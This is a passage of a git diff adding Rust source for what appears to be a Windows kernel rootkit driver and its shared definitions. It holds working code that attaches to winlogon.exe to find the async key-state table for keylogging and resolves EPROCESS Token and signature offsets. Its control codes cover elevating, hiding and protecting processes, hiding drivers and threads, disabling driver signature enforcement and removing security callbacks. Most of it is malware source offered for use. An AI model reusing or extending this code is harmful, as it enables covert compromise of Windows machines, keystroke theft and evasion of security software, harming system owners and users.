let ordinals = (dll_base as usize + (*export_directory).AddressOfNameOrdinals as usize) as *const u16;
|
||||||
|
let addresss = (dll_base as usize + (*export_directory).AddressOfFunctions as usize) as *const u32;
|
||||||
|
|
||||||
|
for i in 0..(*export_directory).NumberOfNames as isize {
|
||||||
|
let name = CStr::from_ptr((dll_base as usize + *names.offset(i) as usize) as *const i8).to_str().ok()?;
|
||||||
|
let ordinal = *ordinals.offset(i);
|
||||||
|
let address = (dll_base as usize + *addresss.offset(ordinal as isize) as usize) as *mut c_void;
|
||||||
|
if name == function_name {
|
||||||
|
return Some(address);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
None
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Get the address of the `gafAsyncKeyState` array within a module in the context of a target process.
|
||||||
|
///
|
||||||
|
/// # Parameters
|
||||||
|
/// - `name`: A string slice containing the name `gafAsyncKeyState`.
|
||||||
|
/// - `dll_base`: A pointer to the base address of the DLL.
|
||||||
|
///
|
||||||
|
/// # Returns
|
||||||
|
/// - `Option<*mut c_void>`: An optional pointer to the function's address, or None if the function is not found.
|
||||||
|
///
|
||||||
|
pub unsafe fn get_function_address_asynckey(name: &str, dll_base: *mut c_void) -> Option<*mut c_void> {
|
||||||
|
let mut apc_state: KAPC_STATE = core::mem::zeroed();
|
||||||
|
let pid = match get_process_by_name(obfstr!("winlogon.exe")) {
|
||||||
|
Some(p) => p,
|
||||||
|
None => return None
|
||||||
|
};
|
||||||
|
|
||||||
|
let target = match Process::new(pid) {
|
||||||
|
Some(p) => p,
|
||||||
|
None => return None
|
||||||
|
};
|
||||||
|
|
||||||
|
KeStackAttachProcess(target.e_process, &mut apc_state);
|
||||||
|
|
||||||
|
let dos_header = dll_base as *mut IMAGE_DOS_HEADER;
|
||||||
|
if (*dos_header).e_magic != IMAGE_DOS_SIGNATURE {
|
||||||
|
log::error!("INVALID DOS SIGNATURE");
|
||||||
|
return None;
|
||||||
|
}
|
||||||
|
|
||||||
|
let nt_header = (dll_base as usize + (*dos_header).e_lfanew as usize) as *mut IMAGE_NT_HEADERS64;
|
||||||
|
if (*nt_header).Signature != IMAGE_NT_SIGNATURE {
|
||||||
|
log::error!("INVALID NT SIGNATURE");
|
||||||
|
return None;
|
||||||
|
}
|
||||||
|
|
||||||
|
let export_directory = (dll_base as usize + (*nt_header).OptionalHeader.DataDirectory[0].VirtualAddress as usize) as *const IMAGE_EXPORT_DIRECTORY;
|
||||||
|
let names = (dll_base as usize + (*export_directory).AddressOfNames as usize) as *const u32;
|
||||||
|
let ordinals = (dll_base as usize + (*export_directory).AddressOfNameOrdinals as usize) as *const u16;
|
||||||
|
let addresss = (dll_base as usize + (*export_directory).AddressOfFunctions as usize) as *const u32;
|
||||||
|
|
||||||
|
for i in 0..(*export_directory).NumberOfNames as isize {
|
||||||
|
let name_module = CStr::from_ptr((dll_base as usize + *names.offset(i) as usize) as *const i8).to_str().ok()?;
|
||||||
|
let ordinal = *ordinals.offset(i);
|
||||||
|
let address = (dll_base as usize + *addresss.offset(ordinal as isize) as usize) as *mut c_void;
|
||||||
|
if name_module == name {
|
||||||
|
KeUnstackDetachProcess(&mut apc_state);
|
||||||
|
return Some(address);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
KeUnstackDetachProcess(&mut apc_state);
|
||||||
|
|
||||||
|
None
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Retrieves the PID of a process by its name.
|
||||||
|
///
|
||||||
|
/// # Parameters
|
||||||
|
/// - `process_name`: A string slice containing the name of the process.
|
||||||
|
///
|
||||||
|
/// # Returns
|
||||||
|
/// - `Option<usize>`: An optional containing the PID of the process, or None if the process is not found.
|
||||||
|
///
|
||||||
|
pub unsafe fn get_process_by_name(process_name: &str) -> Option<usize> {
|
||||||
|
let mut return_bytes = 0;
|
||||||
|
ZwQuerySystemInformation(SystemProcessInformation, null_mut(), 0, &mut return_bytes);
|
||||||
|
let infor_process = ExAllocatePool(NonPagedPool, return_bytes as u64) as PSYSTEM_PROCESS_INFORMATION;
|
||||||
|
if infor_process.is_null() {
|
||||||
|
log::error!("ExAllocatePool Failed");
|
||||||
|
return None;
|
||||||
|
}
|
||||||
|
|
||||||
|
let status = ZwQuerySystemInformation(
|
||||||
|
SystemProcessInformation,
|
||||||
|
infor_process as *mut winapi::ctypes::c_void,
|
||||||
|
return_bytes,
|
||||||
|
&mut return_bytes,
|
||||||
|
);
|
||||||
|
if !NT_SUCCESS(status) {
|
||||||
|
log::error!("ZwQuerySystemInformation Failed With Status: {status}");
|
||||||
|
return None;
|
||||||
|
}
|
||||||
|
|
||||||
|
let mut process_info = infor_process;
|
||||||
|
|
||||||
|
loop {
|
||||||
|
if !(*process_info).ImageName.Buffer.is_null() {
|
||||||
|
let image_name = core::slice::from_raw_parts(
|
||||||
|
(*process_info).ImageName.Buffer,
|
||||||
|
((*process_info).ImageName.Length / 2) as usize,
|
||||||
|
);
|
||||||
|
let name = String::from_utf16_lossy(image_name);
|
||||||
|
if name == process_name {
|
||||||
|
let pid = (*process_info).UniqueProcessId as usize;
|
||||||
|
ExFreePool(infor_process as *mut _);
|
||||||
|
return Some(pid);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (*process_info).NextEntryOffset == 0 {
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
process_info = (process_info as *const u8).add((*process_info).NextEntryOffset as usize) as PSYSTEM_PROCESS_INFORMATION;
|
||||||
|
}
|
||||||
|
|
||||||
|
ExFreePool(infor_process as _);
|
||||||
|
None
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Validates if the given address is within the kernel memory range.
|
||||||
|
///
|
||||||
|
/// # Parameters
|
||||||
|
/// - `addr`: A 64-bit unsigned integer representing the address to validate.
|
||||||
|
///
|
||||||
|
/// # Returns
|
||||||
|
/// - `bool`: True if the address is within the kernel memory range, False otherwise.
|
||||||
|
///
|
||||||
|
#[allow(dead_code)]
|
||||||
|
pub fn valid_kernel_memory(addr: u64) -> bool {
|
||||||
|
addr > 0x8000000000000000 && addr < 0xFFFFFFFFFFFFFFFF
|
||||||
|
}
|
||||||
78
driver/src/utils/offsets.rs
Normal file
78
driver/src/utils/offsets.rs
Normal file
@@ -0,0 +1,78 @@
|
|||||||
|
use wdk_sys::ntddk::MmGetSystemRoutineAddress;
|
||||||
|
use crate::utils;
|
||||||
|
|
||||||
|
/// Gets the offset of the `SignatureLevel` in the `EPROCESS` structure.
|
||||||
|
///
|
||||||
|
/// # Return
|
||||||
|
/// - `isize`: Returns the offset of the dynamically retrieved structure.
|
||||||
|
///
|
||||||
|
pub unsafe fn get_offset_signature() -> isize {
|
||||||
|
let mut function_name = utils::uni::str_to_unicode("PsGetProcessSignatureLevel").to_unicode();
|
||||||
|
let address = MmGetSystemRoutineAddress(&mut function_name);
|
||||||
|
let bytes = core::slice::from_raw_parts(address as *const u8, 20);
|
||||||
|
let offset = bytes[15..17]
|
||||||
|
.try_into()
|
||||||
|
.map(u16::from_le_bytes)
|
||||||
|
.expect("Slice length is not 2, cannot convert");
|
||||||
|
|
||||||
|
log::info!("EPROCESS.SignatureLevel: {:#x}", offset);
|
||||||
|
|
||||||
|
offset as isize
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Gets the offset of the `UniqueProcessId` in the `EPROCESS` structure.
|
||||||
|
///
|
||||||
|
/// # Return
|
||||||
|
/// - `isize`: Returns the offset of the dynamically retrieved structure.
|
||||||
|
///
|
||||||
|
pub unsafe fn get_offset_unique_process_id() -> isize {
|
||||||
|
let mut function_name = utils::uni::str_to_unicode("PsGetProcessId").to_unicode();
|
||||||
|
let address = MmGetSystemRoutineAddress(&mut function_name);
|
||||||
|
let bytes = core::slice::from_raw_parts(address as *const u8, 5);
|
||||||
|
let offset = bytes[3..5]
|
||||||
|
.try_into()
|
||||||
|
.map(u16::from_le_bytes)
|
||||||
|
.expect("Slice length is not 2, cannot convert");
|
||||||
|
|
||||||
|
log::info!("EPROCESS.UniqueProcessId: {:#x}", offset);
|
||||||
|
|
||||||
|
offset as isize
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Gets the offset of the `Token` in the `EPROCESS` structure.
|
||||||
|
///
|
||||||
|
/// # Return
|
||||||
|
/// - `isize`: Returns the offset of the dynamically retrieved structure.
|
||||||
|
///
|
||||||
|
pub unsafe fn get_offset_token() -> isize {
|
||||||
|
let mut function_name = utils::uni::str_to_unicode("PsReferencePrimaryToken").to_unicode();
|
||||||
|
let address = MmGetSystemRoutineAddress(&mut function_name);
|
||||||
|
let bytes = core::slice::from_raw_parts(address as *const u8, 27);
|
||||||
|
let offset = bytes[21..23]
|
||||||
|
.try_into()
|
||||||
|
.map(u16::from_le_bytes)
|
||||||
|
.expect("Slice length is not 2, cannot convert");
|
||||||
|
|
||||||
|
log::info!("EPROCESS.Token: {:#x}", offset);
|
||||||
|
|
||||||
|
offset as isize
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Gets the offset of the `RundownProtect` in the `ETHREAD` structure.
|
||||||
|
///
|
||||||
|
/// # Return
|
||||||
|
/// - `isize`: Returns the offset of the dynamically retrieved structure.
|
||||||
|
///
|
||||||
|
pub unsafe fn get_rundown_protect() -> isize {
|
||||||
|
let mut function_name = utils::uni::str_to_unicode("PsGetThreadExitStatus").to_unicode();
|
||||||
|
let address = MmGetSystemRoutineAddress(&mut function_name);
|
||||||
|
let bytes = core::slice::from_raw_parts(address as *const u8, 17);
|
||||||
|
let offset = bytes[13..]
|
||||||
|
.try_into()
|
||||||
|
.map(u16::from_le_bytes)
|
||||||
|
.expect("Slice length is not 2, cannot convert");
|
||||||
|
|
||||||
|
log::info!("ETHREAD.RundownProtect: {:#x}", offset);
|
||||||
|
|
||||||
|
offset as isize
|
||||||
|
}
|
||||||
32
driver/src/utils/uni.rs
Normal file
32
driver/src/utils/uni.rs
Normal file
@@ -0,0 +1,32 @@
|
|||||||
|
use alloc::vec::Vec;
|
||||||
|
use wdk_sys::UNICODE_STRING;
|
||||||
|
|
||||||
|
/// A wrapper around a Vec<u16> that represents a unicode string
|
||||||
|
pub(crate) struct OwnedUnicodeString {
|
||||||
|
buffer: Vec<u16>,
|
||||||
|
_phantompinned: core::marker::PhantomPinned,
|
||||||
|
}
|
||||||
|
|
||||||
|
impl OwnedUnicodeString {
|
||||||
|
/// Convert the OwnedUnicodeString to a UNICODE_STRING.
|
||||||
|
/// SAFETY: `self` must be pinned and remain valid for the lifetime of the UNICODE_STRING.
|
||||||
|
pub(crate) fn to_unicode(&self) -> UNICODE_STRING {
|
||||||
|
// Note: we subtract 2 from the length to account for the u16 null terminator, as the length field is the length of the string minus the null terminator.
|
||||||
|
UNICODE_STRING {
|
||||||
|
Length: ((self.buffer.len() * core::mem::size_of::<u16>()) - 2) as u16,
|
||||||
|
MaximumLength: (self.buffer.len() * core::mem::size_of::<u16>()) as u16,
|
||||||
|
Buffer: self.buffer.as_ptr() as *mut u16,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Creates a new OwnedUnicodeString from a rust string. The string is converted to a wide string and null-terminated.
|
||||||
|
pub(crate) fn str_to_unicode(s: &str) -> OwnedUnicodeString {
|
||||||
|
// Convert the rust string to a wide string
|
||||||
|
let mut wide_string: Vec<u16> = s.encode_utf16().collect();
|
||||||
|
wide_string.push(0); // Null terminate the string
|
||||||
|
OwnedUnicodeString {
|
||||||
|
buffer: wide_string,
|
||||||
|
_phantompinned: core::marker::PhantomPinned,
|
||||||
|
}
|
||||||
|
}
|
||||||
1
shared/.gitignore
vendored
Normal file
1
shared/.gitignore
vendored
Normal file
@@ -0,0 +1 @@
|
|||||||
|
/target
|
||||||
115
shared/Cargo.lock
generated
Normal file
115
shared/Cargo.lock
generated
Normal file
@@ -0,0 +1,115 @@
|
|||||||
|
# This file is automatically @generated by Cargo.
|
||||||
|
# It is not intended for manual editing.
|
||||||
|
version = 3
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "ntapi"
|
||||||
|
version = "0.4.1"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "e8a3895c6391c39d7fe7ebc444a87eb2991b2a0bc718fdabd071eec617fc68e4"
|
||||||
|
dependencies = [
|
||||||
|
"winapi",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "shared"
|
||||||
|
version = "0.1.0"
|
||||||
|
dependencies = [
|
||||||
|
"ntapi",
|
||||||
|
"windows-sys",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "winapi"
|
||||||
|
version = "0.3.9"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "5c839a674fcd7a98952e593242ea400abe93992746761e38641405d28b00f419"
|
||||||
|
dependencies = [
|
||||||
|
"winapi-i686-pc-windows-gnu",
|
||||||
|
"winapi-x86_64-pc-windows-gnu",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "winapi-i686-pc-windows-gnu"
|
||||||
|
version = "0.4.0"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "ac3b87c63620426dd9b991e5ce0329eff545bccbbb34f3be09ff6fb6ab51b7b6"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "winapi-x86_64-pc-windows-gnu"
|
||||||
|
version = "0.4.0"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "712e227841d057c1ee1cd2fb22fa7e5a5461ae8e48fa2ca79ec42cfc1931183f"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "windows-sys"
|
||||||
|
version = "0.52.0"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "282be5f36a8ce781fad8c8ae18fa3f9beff57ec1b52cb3de0789201425d9a33d"
|
||||||
|
dependencies = [
|
||||||
|
"windows-targets",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "windows-targets"
|
||||||
|
version = "0.52.5"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "6f0713a46559409d202e70e28227288446bf7841d3211583a4b53e3f6d96e7eb"
|
||||||
|
dependencies = [
|
||||||
|
"windows_aarch64_gnullvm",
|
||||||
|
"windows_aarch64_msvc",
|
||||||
|
"windows_i686_gnu",
|
||||||
|
"windows_i686_gnullvm",
|
||||||
|
"windows_i686_msvc",
|
||||||
|
"windows_x86_64_gnu",
|
||||||
|
"windows_x86_64_gnullvm",
|
||||||
|
"windows_x86_64_msvc",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "windows_aarch64_gnullvm"
|
||||||
|
version = "0.52.5"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "7088eed71e8b8dda258ecc8bac5fb1153c5cffaf2578fc8ff5d61e23578d3263"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "windows_aarch64_msvc"
|
||||||
|
version = "0.52.5"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "9985fd1504e250c615ca5f281c3f7a6da76213ebd5ccc9561496568a2752afb6"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "windows_i686_gnu"
|
||||||
|
version = "0.52.5"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "88ba073cf16d5372720ec942a8ccbf61626074c6d4dd2e745299726ce8b89670"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "windows_i686_gnullvm"
|
||||||
|
version = "0.52.5"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "87f4261229030a858f36b459e748ae97545d6f1ec60e5e0d6a3d32e0dc232ee9"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "windows_i686_msvc"
|
||||||
|
version = "0.52.5"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "db3c2bf3d13d5b658be73463284eaf12830ac9a26a90c717b7f771dfe97487bf"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "windows_x86_64_gnu"
|
||||||
|
version = "0.52.5"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "4e4246f76bdeff09eb48875a0fd3e2af6aada79d409d33011886d3e1581517d9"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "windows_x86_64_gnullvm"
|
||||||
|
version = "0.52.5"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "852298e482cd67c356ddd9570386e2862b5673c85bd5f88df9ab6802b334c596"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "windows_x86_64_msvc"
|
||||||
|
version = "0.52.5"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "bec47e5bfd1bff0eeaf6d8b485cc1074891a197ab4225d504cb7a1ab88b02bf0"
|
||||||
8
shared/Cargo.toml
Normal file
8
shared/Cargo.toml
Normal file
@@ -0,0 +1,8 @@
|
|||||||
|
[package]
|
||||||
|
name = "shared"
|
||||||
|
version = "0.1.0"
|
||||||
|
edition = "2021"
|
||||||
|
|
||||||
|
[dependencies]
|
||||||
|
ntapi = { version = "0.4.1", default-features = false }
|
||||||
|
windows-sys = { version = "0.52.0", features = ["Win32_System_Kernel"] }
|
||||||
44
shared/src/ioctls.rs
Normal file
44
shared/src/ioctls.rs
Normal file
@@ -0,0 +1,44 @@
|
|||||||
|
const FILE_DEVICE_UNKNOWN: u32 = 34;
|
||||||
|
const METHOD_NEITHER: u32 = 3;
|
||||||
|
const FILE_ANY_ACCESS: u32 = 0;
|
||||||
|
|
||||||
|
macro_rules! CTL_CODE {
|
||||||
|
($DeviceType:expr, $Function:expr, $Method:expr, $Access:expr) => {
|
||||||
|
($DeviceType << 16) | ($Access << 14) | ($Function << 2) | $Method
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
// Process
|
||||||
|
pub const IOCTL_ELEVATE_PROCESS: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x800, METHOD_NEITHER, FILE_ANY_ACCESS);
|
||||||
|
pub const IOCTL_HIDE_UNHIDE_PROCESS: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x801, METHOD_NEITHER, FILE_ANY_ACCESS);
|
||||||
|
pub const IOCTL_TERMINATE_PROCESS: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x802, METHOD_NEITHER, FILE_ANY_ACCESS);
|
||||||
|
pub const IOCTL_SIGNATURE_PROCESS: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x803, METHOD_NEITHER, FILE_ANY_ACCESS);
|
||||||
|
pub const IOCTL_PROTECTION_PROCESS: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x804, METHOD_NEITHER, FILE_ANY_ACCESS);
|
||||||
|
pub const IOCTL_ENUMERATION_PROCESS: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x805, METHOD_NEITHER, FILE_ANY_ACCESS);
|
||||||
|
|
||||||
|
// Thread
|
||||||
|
pub const IOCTL_PROTECTION_THREAD: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x806, METHOD_NEITHER, FILE_ANY_ACCESS);
|
||||||
|
pub const IOCTL_HIDE_UNHIDE_THREAD: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x807, METHOD_NEITHER, FILE_ANY_ACCESS);
|
||||||
|
pub const IOCTL_ENUMERATION_THREAD: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x808, METHOD_NEITHER, FILE_ANY_ACCESS);
|
||||||
|
|
||||||
|
// Driver
|
||||||
|
pub const IOCTL_HIDE_UNHIDE_DRIVER: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x809, METHOD_NEITHER, FILE_ANY_ACCESS);
|
||||||
|
pub const IOCTL_ENUMERATE_DRIVER: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x810, METHOD_NEITHER, FILE_ANY_ACCESS);
|
||||||
|
|
||||||
|
// DSE
|
||||||
|
pub const IOCTL_ENABLE_DSE: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x811, METHOD_NEITHER, FILE_ANY_ACCESS);
|
||||||
|
|
||||||
|
// Keylogger
|
||||||
|
pub const IOCTL_KEYLOGGER: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x812, METHOD_NEITHER, FILE_ANY_ACCESS);
|
||||||
|
|
||||||
|
// Callbacks
|
||||||
|
pub const IOCTL_ENUMERATE_CALLBACK: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x813, METHOD_NEITHER, FILE_ANY_ACCESS);
|
||||||
|
pub const IOCTL_REMOVE_CALLBACK: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x814, METHOD_NEITHER, FILE_ANY_ACCESS);
|
||||||
|
pub const IOCTL_RESTORE_CALLBACK: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x815, METHOD_NEITHER, FILE_ANY_ACCESS);
|
||||||
|
|
||||||
|
// Registry
|
||||||
|
pub const IOCTL_REGISTRY_PROTECTION_VALUE: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x816, METHOD_NEITHER, FILE_ANY_ACCESS);
|
||||||
|
pub const IOCTL_REGISTRY_PROTECTION_KEY: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x817, METHOD_NEITHER, FILE_ANY_ACCESS);
|
||||||
|
|
||||||
|
// Module
|
||||||
|
pub const IOCTL_ENUMERATE_MODULE: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x818, METHOD_NEITHER, FILE_ANY_ACCESS);
|
||||||
5
shared/src/lib.rs
Normal file
5
shared/src/lib.rs
Normal file
@@ -0,0 +1,5 @@
|
|||||||
|
#![no_std]
|
||||||
|
|
||||||
|
pub mod ioctls;
|
||||||
|
pub mod vars;
|
||||||
|
pub mod structs;
|
||||||
27
shared/src/structs/callback_struct.rs
Normal file
27
shared/src/structs/callback_struct.rs
Normal file
@@ -0,0 +1,27 @@
|
|||||||
|
use crate::vars::Callbacks;
|
||||||
|
|
||||||
|
// Callback Information for Enumeration (Output)
|
||||||
|
#[repr(C)]
|
||||||
|
#[derive(Debug)]
|
||||||
|
pub struct CallbackInfoOutput {
|
||||||
|
pub address: usize,
|
||||||
|
pub name: [u16; 256],
|
||||||
|
pub index: u8,
|
||||||
|
}
|
||||||
|
|
||||||
|
// Callback Information for Action (Input)
|
||||||
|
#[repr(C)]
|
||||||
|
#[derive(Debug)]
|
||||||
|
pub struct CallbackInfoInput {
|
||||||
|
pub index: usize,
|
||||||
|
pub callback: Callbacks
|
||||||
|
}
|
||||||
|
|
||||||
|
//
|
||||||
|
#[repr(C)]
|
||||||
|
#[derive(Debug)]
|
||||||
|
pub struct CallbackRestaure {
|
||||||
|
pub index: usize,
|
||||||
|
pub callback: Callbacks,
|
||||||
|
pub address: u64,
|
||||||
|
}
|
||||||
37
shared/src/structs/driver_struct.rs
Normal file
37
shared/src/structs/driver_struct.rs
Normal file
@@ -0,0 +1,37 @@
|
|||||||
|
extern crate alloc;
|
||||||
|
|
||||||
|
use core::sync::atomic::AtomicPtr;
|
||||||
|
use super::LIST_ENTRY;
|
||||||
|
use ntapi::ntldr::LDR_DATA_TABLE_ENTRY;
|
||||||
|
|
||||||
|
// Enumerate Drivers
|
||||||
|
#[repr(C)]
|
||||||
|
pub struct DriverInfo {
|
||||||
|
pub address: usize,
|
||||||
|
pub name: [u16; 256],
|
||||||
|
pub index: u8,
|
||||||
|
}
|
||||||
|
|
||||||
|
// Enable / Disable DSE
|
||||||
|
#[repr(C)]
|
||||||
|
#[derive(Debug)]
|
||||||
|
pub struct DSE {
|
||||||
|
pub enable: bool
|
||||||
|
}
|
||||||
|
|
||||||
|
// Structure that stores the values of the process that has been hidden
|
||||||
|
#[repr(C)]
|
||||||
|
#[derive(Debug)]
|
||||||
|
pub struct HiddenDriverInfo {
|
||||||
|
pub name: alloc::string::String,
|
||||||
|
pub list_entry: AtomicPtr<LIST_ENTRY>,
|
||||||
|
pub driver_entry: AtomicPtr<LDR_DATA_TABLE_ENTRY>,
|
||||||
|
}
|
||||||
|
|
||||||
|
// Represents a drivers information, including its name and a flag indicating whether it should be hidden or not
|
||||||
|
#[repr(C)]
|
||||||
|
#[derive(Debug, Default)]
|
||||||
|
pub struct TargetDriver {
|
||||||
|
pub name: alloc::string::String,
|
||||||
|
pub enable: bool,
|
||||||
|
}
|
||||||
38
shared/src/structs/mod.rs
Normal file
38
shared/src/structs/mod.rs
Normal file
@@ -0,0 +1,38 @@
|
|||||||
|
#![allow(non_camel_case_types)]
|
||||||
|
#![allow(non_snake_case)]
|
||||||
|
|
||||||
|
use crate::vars::Options;
|
||||||
|
|
||||||
|
pub mod process_struct;
|
||||||
|
pub mod thread_struct;
|
||||||
|
pub mod callback_struct;
|
||||||
|
pub mod driver_struct;
|
||||||
|
pub mod registry_struct;
|
||||||
|
pub mod module_struct;
|
||||||
|
|
||||||
|
pub use process_struct::*;
|
||||||
|
pub use driver_struct::*;
|
||||||
|
pub use thread_struct::*;
|
||||||
|
pub use callback_struct::*;
|
||||||
|
pub use registry_struct::*;
|
||||||
|
pub use module_struct::*;
|
||||||
|
|
||||||
|
// Custom LIST_ENTRY
|
||||||
|
#[repr(C)]
|
||||||
|
pub struct LIST_ENTRY {
|
||||||
|
pub Flink: *mut LIST_ENTRY,
|
||||||
|
pub Blink: *mut LIST_ENTRY,
|
||||||
|
}
|
||||||
|
|
||||||
|
// Keylogger
|
||||||
|
#[repr(C)]
|
||||||
|
#[derive(Debug)]
|
||||||
|
pub struct Keylogger {
|
||||||
|
pub enable: bool
|
||||||
|
}
|
||||||
|
|
||||||
|
// Input for information that needs to be listed
|
||||||
|
#[repr(C)]
|
||||||
|
pub struct EnumerateInfoInput {
|
||||||
|
pub options: Options
|
||||||
|
}
|
||||||
8
shared/src/structs/module_struct.rs
Normal file
8
shared/src/structs/module_struct.rs
Normal file
@@ -0,0 +1,8 @@
|
|||||||
|
// Enumerate Modules
|
||||||
|
#[repr(C)]
|
||||||
|
#[derive(Debug)]
|
||||||
|
pub struct ModuleInfo {
|
||||||
|
pub address: usize,
|
||||||
|
pub name: [u16; 256],
|
||||||
|
pub index: u8,
|
||||||
|
}
|
||||||
56
shared/src/structs/process_struct.rs
Normal file
56
shared/src/structs/process_struct.rs
Normal file
@@ -0,0 +1,56 @@
|
|||||||
|
use core::sync::atomic::AtomicPtr;
|
||||||
|
use super::LIST_ENTRY;
|
||||||
|
|
||||||
|
// Stores the information of the process that has been hidden
|
||||||
|
#[repr(C)]
|
||||||
|
#[derive(Debug)]
|
||||||
|
pub struct HiddenProcessInfo {
|
||||||
|
pub pid: usize,
|
||||||
|
pub list_entry: AtomicPtr<LIST_ENTRY>
|
||||||
|
}
|
||||||
|
|
||||||
|
// Stores process information
|
||||||
|
#[repr(C)]
|
||||||
|
#[derive(Debug)]
|
||||||
|
pub struct ProcessListInfo {
|
||||||
|
pub pids: usize,
|
||||||
|
}
|
||||||
|
|
||||||
|
// Stores information about the target process.
|
||||||
|
#[repr(C)]
|
||||||
|
#[derive(Debug, Default)]
|
||||||
|
pub struct TargetProcess {
|
||||||
|
pub pid: usize,
|
||||||
|
}
|
||||||
|
|
||||||
|
// Anti-create Process
|
||||||
|
#[repr(C)]
|
||||||
|
#[derive(Debug, Default)]
|
||||||
|
pub struct AntiCreateProcess {
|
||||||
|
pub name: &'static str
|
||||||
|
}
|
||||||
|
|
||||||
|
// Process Info Hide
|
||||||
|
#[repr(C)]
|
||||||
|
#[derive(Debug, Default)]
|
||||||
|
pub struct ProcessInfoHide {
|
||||||
|
pub pid: usize,
|
||||||
|
pub enable: bool,
|
||||||
|
}
|
||||||
|
|
||||||
|
// Signature information for the target process
|
||||||
|
#[repr(C)]
|
||||||
|
#[derive(Debug)]
|
||||||
|
pub struct ProcessSignature {
|
||||||
|
pub pid: usize,
|
||||||
|
pub sg: usize,
|
||||||
|
pub tp: usize,
|
||||||
|
}
|
||||||
|
|
||||||
|
// Stores the process to be protected
|
||||||
|
#[repr(C)]
|
||||||
|
#[derive(Debug)]
|
||||||
|
pub struct ProcessProtection {
|
||||||
|
pub pid: usize,
|
||||||
|
pub enable: bool
|
||||||
|
}
|
||||||
10
shared/src/structs/registry_struct.rs
Normal file
10
shared/src/structs/registry_struct.rs
Normal file
@@ -0,0 +1,10 @@
|
|||||||
|
extern crate alloc;
|
||||||
|
|
||||||
|
// Stores the target registry
|
||||||
|
#[repr(C)]
|
||||||
|
#[derive(Debug, Default)]
|
||||||
|
pub struct TargetRegistry {
|
||||||
|
pub key: alloc::string::String,
|
||||||
|
pub value: alloc::string::String,
|
||||||
|
pub enable: bool
|
||||||
|
}
|
||||||
33
shared/src/structs/thread_struct.rs
Normal file
33
shared/src/structs/thread_struct.rs
Normal file
@@ -0,0 +1,33 @@
|
|||||||
|
use core::sync::atomic::AtomicPtr;
|
||||||
|
use super::LIST_ENTRY;
|
||||||
|
|
||||||
|
// Structure that stores the values of the process that has been hidden
|
||||||
|
#[repr(C)]
|
||||||
|
#[derive(Debug)]
|
||||||
|
pub struct HiddenThreadInfo {
|
||||||
|
pub tid: usize,
|
||||||
|
pub list_entry: AtomicPtr<LIST_ENTRY>
|
||||||
|
}
|
